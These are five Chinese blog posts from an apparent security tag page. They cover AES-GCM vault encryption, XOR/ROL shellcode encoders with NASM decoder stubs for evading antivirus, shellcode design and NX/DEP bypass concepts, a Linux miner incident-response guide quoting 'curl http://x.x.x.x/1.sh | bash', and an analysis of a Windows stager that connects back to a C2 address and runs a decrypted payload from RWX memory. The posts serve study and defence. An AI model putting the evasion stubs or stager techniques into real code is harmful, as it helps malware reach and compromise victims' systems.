Showing Posts From

security

Soulock
2026年06月23日
- 技术

Python 实现 PBKDF2 + AES-256-GCM 加密存储

PBKDF2 + AES-GCM 是本地加密存储（钱包 vault、配置文件保护）的标准方案：密码经 PBKDF2 派生出密钥，AES-GCM 提供加密和完整性验证。加密流程 Password ↓ PBKDF2-HMAC-SHA512（iterations=600000, salt=随机16字节） ↓ 32 字节 AES Key ↓ AES-256-GCM（nonce=随机16字节） ↓ Ciphertext + Tag安装依赖 pip install pycryptodome完整实现 import json import os import base64 from hashlib import pbkdf2_hmac from Crypto.Cipher import AESPBKDF2_ITERATIONS = 600_000 # NIST 2023 推荐最低值def derive_key(password: str, salt: bytes) -> bytes: return pbkdf2_hmac( "sha512", password.encode("utf-8"), salt, PBKDF2_ITERATIONS, dklen=32, # AES-256 )def encrypt(password: str, plaintext: str) -> dict: salt = os.urandom(16) nonce = os.urandom(16) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode("utf-8")) return { "salt": base64.b64encode(salt).decode(), "nonce": base64.b64encode(nonce).decode(), "ciphertext": base64.b64encode(ciphertext).decode(), "tag": base64.b64encode(tag).decode(), }def decrypt(password: str, vault: dict) -> str: salt = base64.b64decode(vault["salt"]) nonce = base64.b64decode(vault["nonce"]) ciphertext = base64.b64decode(vault["ciphertext"]) tag = base64.b64decode(vault["tag"]) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) return plaintext.decode("utf-8")使用示例 # 加密 secret = '{"privateKey": "0xabcd..."}' vault = encrypt("my_strong_password", secret)# 存储为 JSON with open("vault.json", "w") as f: json.dump(vault, f, indent=2)# 解密 with open("vault.json") as f: vault = json.load(f)plaintext = decrypt("my_strong_password", vault) print(plaintext)vault.json 格式： { "salt": "base64...", "nonce": "base64...", "ciphertext": "base64...", "tag": "base64..." }为什么选 AES-GCM 而非 CBC模式加密完整性验证推荐AES-CBC ✅ ❌（需额外 HMAC）不推荐新项目AES-GCM ✅ ✅（内置 Tag） ✅ 推��AES-CTR ✅ ❌ 需配合 HMACGCM 模式同时提供加密和认证，decrypt_and_verify 会在解密前验证 Tag，密文被篡改时抛出 ValueError。关键参数说明 PBKDF2 迭代次数：越高越安全，NIST 2023 建议 SHA-512 至少 210,000 次，MetaMask 等钱包用 600,000 次。代价是派生速度变慢（约 0.5~2 秒），对正常用户不感知，但让暴力破解成本提高数十万倍。 salt 唯一性：每次加密生成新的随机 salt，防止相同密码产生相同密钥（彩虹表攻击）。salt 不需要保密，公开存储即可。 nonce 唯一性：GCM 的 nonce 绝对不能重用于同一密钥，否则 GCM 的安全性完全崩溃。每次加密随机生成是最安全的做法。密码错误时的行为 try: plaintext = decrypt("wrong_password", vault) except ValueError: print("密码错误或数据被篡改")decrypt_and_verify 验证 Tag 失败时抛出 ValueError，不会泄漏任何明文信息。

Soulock
2026年06月03日
- 技术

Shellcode 编码存储：XOR + ROL 混淆与 NASM 解码桩

为什么需要编码存储直接将 Shellcode 十六进制字节写进源代码或二进制文件，常见特征扫描工具（AV / EDR）可以直接匹配已知字节序列识别载荷。对字节做简单变换后，原始特征不再出现在文件中，需要在运行时解码才能执行。这是安全研究（红队测试、恶意软件分析）中最基础的混淆手段，理解它有助于防御侧编写检测规则。单字节 XOR 编码（最常见）原理：每个字节与固定 key 做异或，byte ^ key ^ key == byte，自逆。 // encode.js const hexString = `e903000000cccc...`; // 原始 Shellcode 十六进制 const KEY = 0x5A;function encodeXOR(hex, key) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = parseInt(hex.substr(i, 2), 16) ^ key; result += b.toString(16).padStart(2, '0'); } return result; }function hexToNasmDb(hex) { const lineLen = 16; let out = 'shellcode:\n'; for (let i = 0; i < hex.length; i += lineLen * 2) { const chunk = []; for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) { chunk.push('0x' + hex.substr(j, 2)); } out += ` db ${chunk.join(', ')}\n`; } out += 'shellcode_len equ $-shellcode\n'; return out; }const encoded = encodeXOR(hexString, KEY); console.log(hexToNasmDb(encoded));对应 x64 NASM 解码 stub： section .text global _start_start: lea rsi, [rel shellcode] mov rcx, shellcode_len.decode: xor byte [rsi], 0x5A ; 与 KEY 异或还原 inc rsi loop .decode lea rax, [rel shellcode] jmp rax ; 跳转执行section .data shellcode: db 0xb3, 0x59, 0x5a, ... ; 编码后的字节 shellcode_len equ $-shellcodeROL（循环左移）编码每字节循环左移 3 位，对应解码时循环右移 3 位（ROR 3）： function rol8(value, shift) { shift &= 7; return ((value << shift) | (value >> (8 - shift))) & 0xFF; }function encodeROL(hex, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = rol8(parseInt(hex.substr(i, 2), 16), shift); result += b.toString(16).padStart(2, '0'); } return result; }x64 NASM 解码（ROR 3）： .decode: ror byte [rsi], 3 inc rsi loop .decodeXOR + ROL 组合先 XOR 再 ROL，解码时反序：先 ROR 再 XOR： function encodeCombined(hex, key = 0x5A, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { let b = parseInt(hex.substr(i, 2), 16); b ^= key; b = rol8(b, shift); result += b.toString(16).padStart(2, '0'); } return result; }对应解码 stub： .decode: mov al, [rsi] ror al, 3 ; 先 ROR（逆 ROL） xor al, 0x5A ; 再 XOR（逆 XOR） mov [rsi], al inc rsi loop .decode注意事项单字节 key 的局限：如果 Shellcode 里本来就包含 key 值的字节（如原始字节恰好 == 0x5A），编码后变为 0x00，仍然可能产生空字节。可以换一个不在原始字节中出现的 key，或改为多字节 rolling key。default rel（NASM）：x64 NASM 中建议加 default rel 或显式用 [rel label] 引用数据，否则 64 位相对地址可能超出 32 位范围导致链接错误。loop 指令：loop 在 x64 默认使用 rcx 计数器，每次 dec rcx; jnz，效率低于 dec rcx; jnz。大量数据时可用 dec rcx / jnz 替代。完整流程原始 Shellcode bytes ↓ JS 编码脚本（XOR / ROL）编码后的 db 数组（写进 .asm 文件） ↓ NASM 汇编编译包含解码 stub + 编码数据的二进制 ↓ 运行时执行 stub 循环还原字节 → 跳转执行原始 Shellcode这种 stub + payload 的结构是安全研究中分析加载器（Loader）的基础模型，理解它有助于识别真实样本中的解码阶段。

Soulock
2026年06月03日
- 技术

Shellcode 与汇编的关系：位置无关代码与空字节规避

关系概览汇编源码 (.asm) ↓ 汇编器 (nasm / masm) 机器码（二进制字节） ↓ 满足额外约束 Shellcode汇编代码是人可读的指令文本；机器码是 CPU 直接执行的二进制；Shellcode 是专门设计的机器码，额外满足注入执行的要求。为什么叫 Shellcode 最初漏洞利用（如栈溢出）的攻击载荷： [Shellcode][Padding][Return Address]覆盖返回地址后程序跳转到攻击者注入的代码，执行 /bin/sh 获得 Shell，因此得名。现代 Shellcode 不一定启动 Shell，常见用途包括：下载木马、注入 DLL、建立反向连接、调用系统 API。位置无关代码（PIC）普通可执行文件有固定加载地址；注入的 Shellcode 则可能落在任意地址，因此不能使用绝对地址引用字符串或函数。 x86 经典写法（call/pop 技巧）： call get_rip get_rip: pop ebx ; ebx = 当前 IP，可作为基址计算偏移 ; 用 [ebx + offset] 访问数据而非绝对地址x64 更简洁，RIP 相对寻址天然支持 PIC： lea rax, [rip + data_offset]空字节（Null Byte）问题许多漏洞场景通过字符串复制触发（如 strcpy），遇到 \x00 会截断。因此 Shellcode 必须避免产生空字节（0x00）。反例： mov eax, 1 ; b8 01 00 00 00 → 含 \x00 ret ; c3机器码 b8 01 00 00 00 含三个 \x00，不适合作为 Shellcode。改写后： xor eax, eax ; 31 c0 → eax = 0，无 \x00 inc eax ; 40 → eax = 1 ret ; c3机器码 31 c0 40 c3，无空字节。常用规避技巧：原写法替换写法mov eax, N（N 小于 256） xor eax, eax; mov al, Npush 0 xor ecx, ecx; push ecxmov eax, 0 xor eax, eax字符串末尾 \x00 运行时 xor [rsp+N], al 写入NX / DEP：现代系统的阻碍现代操作系统将内存页分为可写（W）和可执行（X），默认两者不能同时开启：代码段：R + X（可读可执行）数据段：R + W（可读可写）栈： R + W（默认无执行权限）因此攻击者把 Shellcode 注入栈或堆后，直接跳转执行会触发 NX/DEP 保护，产生访问违例。绕过方式（了解原理即可）：ROP（Return-Oriented Programming）：链式复用代码段中已有的 gadget，不需要注入新代码。 JIT Spraying：利用 JIT 编译器生成可执行内存，注入伪装成合法代码的载荷。 mmap/VirtualAlloc + mprotect：合法申请可执行内存后拷贝并跳转（多见于合法场景如虚拟机）。汇编动态执行机器码的原理以 C 伪码说明（仅描述原理）： // 1. 申请可执行内存 void *mem = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, ...);// 2. 写入机器码 memcpy(mem, shellcode_bytes, len);// 3. 跳转执行 ((void(*)())mem)();这等价于汇编： mov rax, <mem_addr> jmp rax ; CPU 将 mem_addr 处字节视为指令序列执行CPU 不区分"正常代码"和"Shellcode"，只要内存页有执行权限，任何字节序列都可以执行。小结概念说明汇编人可读的助记符指令文本机器码汇编编译后的二进制Shellcode 满足 PIC + 无空字节 + 紧凑的机器码NX/DEP 阻止数据页执行的硬件/OS 保护PIC 代码不依赖绝对地址，可在任意内存位置运行实际安全研究中，Shellcode 的开发、测试和分析都在受控的授权测试环境中进行。理解底层原理有助于防御侧识别攻击特征和设计更有效的检测规则。

Soulock
2026年05月28日
- 技术

Linux 查找可疑进程来源：恶意挖矿木马排查

发现可疑进程 /root/.config/sys-update-daemon 时，正常系统进程不会放在用户家目录下，这类路径通常是挖矿木马或后门程序的伪装。第一步：确认文件创建时间 stat /root/.config/sys-update-daemon重点关注：Modify：文件最后修改时间 Change：inode 变化时间 Birth：创建时间（支持 ext4）通过创建时间可以缩小入侵时间窗口。第二步：查看进程树 pstree -asp <PID>或： ps -ef --forest | grep sys-update确认是什么进程启动了它（bash、cron、systemd、SSH session）。第三步：检查 systemd 持久化恶意程序最常见的持久化方式： # ��看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon，说明已持久化。第四步：检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步：查看 Shell 历史（关键） history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式： curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空，查历史文件大小是否异常： ls -l ~/.bash_history wc -l ~/.bash_history第六步：查看 SSH 登录记录 last -a # 最近登录历史，带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网，极可能被 SSH 爆破入侵。第七步：查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口：3333、4444、5555、7777、14444（矿池端口）。第八步：静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字： strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。第九步：查最近被修改的文件推断同时落地的其他恶意文件： # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查（替换时间为创建时间） find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启（有守护进程） ps -ef | grep sys-update如果持续重启，说明还有守护脚本： systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令查 Panel 访问日志Java/Jenkins/Log4j 漏洞查应用访问日志异常请求公网暴露的服务器，SSH 默认端口 + 弱密码几乎一定会被爆破。建议：禁止密码登录，只允许 SSH 密钥认证。

Soulock
2026年05月22日
- 技术

x64 Windows Shellcode 分析：PEB 遍历与哈希 API 解析

无导入表 Shellcode 的核心思路普通 PE 文件有导入地址表（IAT），链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表，需要在运行时自己找函数地址。经典方案： gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址 ↓ 遍历导出表（Export Directory） ↓ 对每个函数名计算哈希，与目标哈希比较 ↓ 找到后读 AddressOfFunctions 得到实际地址读 PEB 找 kernel32 x64 上 PEB 地址固定在 gs:[60h]： mov rax, gs:[60h] ; rax = PEB mov rax, [rax+18h] ; rax = PEB_LDR_DATA mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink ; 第三个模块通常是 kernel32.dll对应 C 结构： PEB → PEB_LDR_DATA PEB_LDR_DATA → InMemoryOrderModuleList (index 0: ntdll, index 1: kernel32)导出表哈希匹配 Shellcode 不存储函数名字符串，而是存预计算好的哈希值，避免明文暴露。常见算法（ROR-13 变体）： def ror13_hash(name: bytes) -> int: h = 0 for c in name: h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF h = (h + c) & 0xFFFFFFFF return hShellcode 中看到的调用模式： mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希 call resolve_api ; 通用 API 解析函数，返回地址在 raxresolve_api 函数做以下事情： 1. 遍历 InMemoryOrderModuleList 2. 对每个模块读 Export Directory 3. 遍历 AddressOfNames，计算每个函数名的哈希 4. 哈希匹配时： AddressOfNameOrdinals[i] → ordinal AddressOfFunctions[ordinal] → RVA → 实际地址动态加载 DLL 找到 LoadLibraryA 后，用栈上逐字节写入的字符串加载目标库，避免字符串明文出现在数据段： ; 构造 "user32.dll" 字符串 mov dword ptr [rbp-70h], 'resu' ; "user" mov dword ptr [rbp-6Ch], 'd.23' ; "32.d" mov dword ptr [rbp-68h], 'll' ; "ll" mov byte ptr [rbp-66h], 0 ; null terminator lea rcx, [rbp-70h] call rbx ; LoadLibraryA("user32.dll")同样方式加载 ws2_32.dll、msvcrt.dll。网络反连结构加载 ws2_32 后按标准顺序调用 WinSock API： ; 初始化 WinSock mov ecx, 202h ; wVersionRequested = 2.2 call WSAStartup; 创建 socket ; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) call socket; 填充 sockaddr_in，IP 写入栈上 ; 102.217.197.174:port（字节倒序写入） call connect; 接收第二阶段 payload call recvC2 IP 以字节方式分散写入栈帧，IDA/Ghidra 不会自动识别为字符串，需手动组合。 VirtualAlloc + XOR 解密执行接收到加密 payload 后： ; 申请可执行内存 mov ecx, <payload_size> xor r8d, r8d mov r9d, 40h ; PAGE_EXECUTE_READWRITE call VirtualAlloc; XOR 解密循环 .loop: xor byte ptr [rcx+rdi], 99h ; key = 0x99 inc rdi cmp rdi, rcx jl .loop; 跳转执行 call rax整体执行流程 gs:[60h] → PEB ↓ 遍历模块链 → kernel32 基址 ↓ 导出表哈希解析 → GetProcAddress / LoadLibraryA ↓ LoadLibraryA("ws2_32.dll") LoadLibraryA("user32.dll") ↓ WSAStartup → socket → connect(C2) ↓ recv(encrypted_payload) ↓ VirtualAlloc(RWX) ↓ XOR 解密 ↓ 执行第二阶段 payload这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。快速识别特征特征含义gs:[60h] 读取读 PEB，无导入表 shellcode 标志mov ecx, <4字节哈希>; call fn 哈希解析 API 调用模式栈上逐字节写字符串隐藏 DLL 名称VirtualAlloc + PAGE_EXECUTE_READWRITE 申请可执行内存准备执行 payload循环 XOR 解密第二阶段 shellcode实际分析时，先定位 resolve_api 函数，把所有哈希值批量还原成函数名，再按调用顺序梳理业务逻辑，速度会快很多。